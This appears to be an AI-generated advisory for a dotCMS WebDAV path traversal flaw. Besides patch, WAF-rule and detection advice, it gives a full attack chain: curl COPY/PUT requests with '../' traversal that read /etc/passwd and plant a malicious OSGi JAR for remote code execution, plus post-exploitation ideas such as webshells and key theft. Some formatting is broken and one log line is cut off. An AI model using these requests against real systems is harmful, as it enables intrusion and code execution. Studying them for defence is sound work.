CVE-2026-64883 — DotCMS (26.10.19-01) — CWE-22
Path traversal in the WebDAV interface (DotWebdavHelper and the WebDAV temporary-file COPY and MOVE handling) in dotCMS versions before 26.10.19-01 (25.07.10 LTS before v21) allows any authenticated user, including a front-end-only account, to read and write files outside the WebDAV temporary directory with the privileges of the dotCMS service account. This exposes sensitive files such as signing keys and allows remote code execution, because plugins written to the OSGi upload folder are installed automatically. Fixed in 26.10.19-01 and later, and in 25.07.10 LTS v21. WebDAV temporary storage now uses its own directory, every temporary path is confined to it, and names used to create, copy or move temporary files must be a single path segment.
Path traversal in the WebDAV interface (DotWebdavHelper and the WebDAV temporary-file COPY and MOVE handling) in dotCMS versions before 26.10.19-01 (25.07.10 LTS before v21) allows any authenticated user, including a front-end-only account, to read and write files outside the WebDAV temporary directory with the privileges of the dotCMS service account. This exposes sensitive files such as signing keys and allows remote code execution, because plugins written to the OSGi upload folder are installed automatically. Fixed in 26.10.19-01 and later, and in 25.07.10 LTS v21. WebDAV temporary storage now uses its own directory, every temporary path is confined to it, and names used to create, copy or move temporary files must be a single path segment.
🎯 What is this vulnerability?
CVE‑2026‑64883 is a CWE‑22: Path Traversal flaw in the WebDAV subsystem of dotCMS (versions < 26.10.19‑01 and < 25.07.10 LTS v21).
The flaw resides in the DotWebdavHelper and the temporary‑file COPY/MOVE handling logic.
- Missing check – The code does not validate that the source or destination paths are confined to the WebDAV temporary directory.
- Result – Any authenticated user (even a front‑end‑only account) can issue WebDAV requests that reference paths outside the temporary directory.
- Privilege level – The attacker operates with the privileges of the dotCMS service account (low‑privilege, but sufficient to read/write system files and install OSGi plugins).
- Impact – Arbitrary file read/write → sensitive data exposure, configuration tampering, and automatic installation of malicious OSGi plugins → remote code execution (RCE).
The CVSS vector (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H) reflects the high confidentiality, integrity, and availability impact, and the low attack complexity and lack of user interaction.
⚡ Attack Chain
NOTE: The following chain uses illustrative URLs and headers.
The exact WebDAV endpoint (/dotcms/webdav/…) is typical for dotCMS installations, but may vary.
All steps assume the attacker already has a valid authenticated session (e.g., a front‑end user).
1. Discovery & Reconnaissance
| Step | Technique | What to look for |
|---|---|---|
| a. Identify dotCMS | HTTP GET / → look for dotCMS in the Server header or HTML meta tags. | Server: dotCMS/26.9.0 |
| b. Enumerate WebDAV | HEAD /dotcms/webdav/ → status 200 OK and Allow: GET, PUT, POST, DELETE, PROPFIND, COPY, MOVE. | Confirms WebDAV is enabled. |
| c. Version check | GET /dotcms/api/system/version (if available) or parse the dotCMS header. | Returns 26.9.0 → vulnerable. |
2. Exploitation
2.1. Authentication (illustrative)
# Login to dotCMS – the real endpoint may differ
curl -X POST "https://target.com/dotcms/api/authentication/login" \
-H "Content-Type: application/json" \
-d '{"username":"frontuser","password":"pass"}' \
-c cookie.txtThe response contains a session cookie or a bearer token.
For subsequent WebDAV requests we’ll use the cookie:
# Extract the cookie for reuse
COOKIE=$(awk '/^Set-Cookie:/ {print $2}' cookie.txt | cut -d ';' -f1)2.2. Arbitrary File Read
# Copy /etc/passwd into a temporary file we can read
curl -X COPY "https://target.com/dotcms/webdav/temp/../../../../../../etc/passwd" \
-H "Destination: https://target.com/dotcms/webdav/temp/passwd.txt" \
-H "Cookie: $COOKIE" \
-vThe COPY source path contains ../../ traversal, which the vulnerable code accepts.
The destination is a file inside the temporary directory (temp/passwd.txt).
# Read the copied file
curl -X GET "https://target.com/dotcms/webdav/temp/passwd.txt" \
-H "Cookie: $COOKIE" \
-vThe response body will contain the contents of /etc/passwd.
2.3. Arbitrary File Write (RCE via OSGi plugin)
1. Upload a malicious OSGi bundle (e.g., evil.jar) to the temporary directory:
curl -X PUT "https://target.com/dotcms/webdav/temp/evil.jar" \
-H "Cookie: $COOKIE" \
--data-binary @evil.jar2. Copy the bundle to the OSGi plugins folder (outside the temp dir):
curl -X COPY "https://target.com/dotcms/webdav/temp/evil.jar" \
-H "Destination: https://target.com/dotcms/webdav/../osgi/plugins/evil.jar" \
-H "Cookie: $COOKIE" \
-vThe Destination header contains a ../ traversal that the vulnerable code does not sanitize.
dotCMS automatically scans the osgi/plugins directory and installs any JAR it finds, executing the code inside evil.jar.
3. Result – The attacker now has remote code execution with the privileges of the dotCMS service account.
Important: The above payloads are illustrative. The exact WebDAV URLs and header names may differ in your deployment. The key point is that the vulnerability allows any authenticated user to craft WebDAVCOPY/MOVErequests with path traversal components.
3. Post‑Exploitation
| Goal | Technique |
|---|---|
| Data exfiltration | Read sensitive files (/etc/ssl/private/key.pem, /var/www/html/.env, etc.) via the same COPY trick and download them. |
| Privilege escalation | Write a webshell to the web root (/var/www/html/evil.php) and access it via HTTP. |
| Persistence | Deploy a malicious OSGi bundle that starts on dotCMS restart. |
| Lateral movement | Use the service account’s credentials to access other systems on the same host or network. |
🌍 Real World Impact
| Impact | Explanation |
|---|---|
| Confidentiality (VC:H) | Arbitrary file read exposes secrets (signing keys, certificates, credentials). |
| Integrity (VI:H) | Arbitrary file write allows tampering with configuration files, web content, or OSGi bundles. |
| Availability (VA:H) | Overwriting critical files or installing malicious plugins can crash dotCMS or cause denial‑of‑service. |
| Scope (SC:H) | The vulnerability affects the entire system because the attacker can read/write any file the dotCMS service account can access. |
| Impact on users (SI:H / SA:H) | Compromise of the CMS can lead to data loss, brand damage, and regulatory non‑compliance. |
Practical consequences
🛡️ Remediation & Mitigation
1. Patch
| Affected Versions | Upgrade Recommendation |
|---|---|
| dotCMS < 26.10.19‑01 | Upgrade to 26.10.19‑01 or later. |
| dotCMS < 25.07.10 LTS v21 | Upgrade to 25.07.10 LTS v21 or later. |
The fix introduces:
../). 2. Workarounds (if patching is not immediately possible)
| Mitigation | How to implement |
|---|---|
| Disable WebDAV | Remove or comment out the WebDAV module in the dotCMS configuration (webdav.enabled=false). |
| Restrict WebDAV access | Configure the web server (Apache/Nginx) to allow WebDAV only from trusted IPs: |
``apache<br> <Location /dotcms/webdav/> <Require ip 10.0.0.0/8> </Location> ` | |
| WAF / ModSecurity rule | Block any WebDAV request containing ../ or multiple slashes: |
`modsecurity<br>SecRule REQUEST_URI "@rx \.\./" "phase:2,deny,status:403,msg:'WebDAV path traversal attempt'" ` | |
`modsecurity<br>SecRule REQUEST_URI "@rx //+" "phase:2,deny,status:403,msg:'WebDAV double slash'" ` | |
| File system permissions | Ensure the dotCMS service account has the minimal required permissions (e.g., no write to /etc or /var/www/html`). |
3. Detection
| Log source | Typical indicator |
|---|---|
| Web server access log | COPY /dotcms/webdav/temp/../../../../../../etc/passwd |
| dotCMS audit log | WebDAV: attempted path traversal: /dotcms/webdav/temp/../../../../../../etc/passwd |
| ModSecurity audit log | SecRuleMatch: REQUEST_URI contains "../" |
| File system audit | Creation of files in /opt/dotcms/osgi/plugins/ that were not deployed by the admin console. |
Sample Apache log entry
```
127.0.0.1 - - [04/Dec/2026:12:34:56 +0000] "COPY /dotcms/webdav/temp/../../../../../../etc/passwd HTTP/1.1" 200 0 "-" "Mozilla/5.0
[🤖 CVE Professor AI Security Engine]
FOFA Query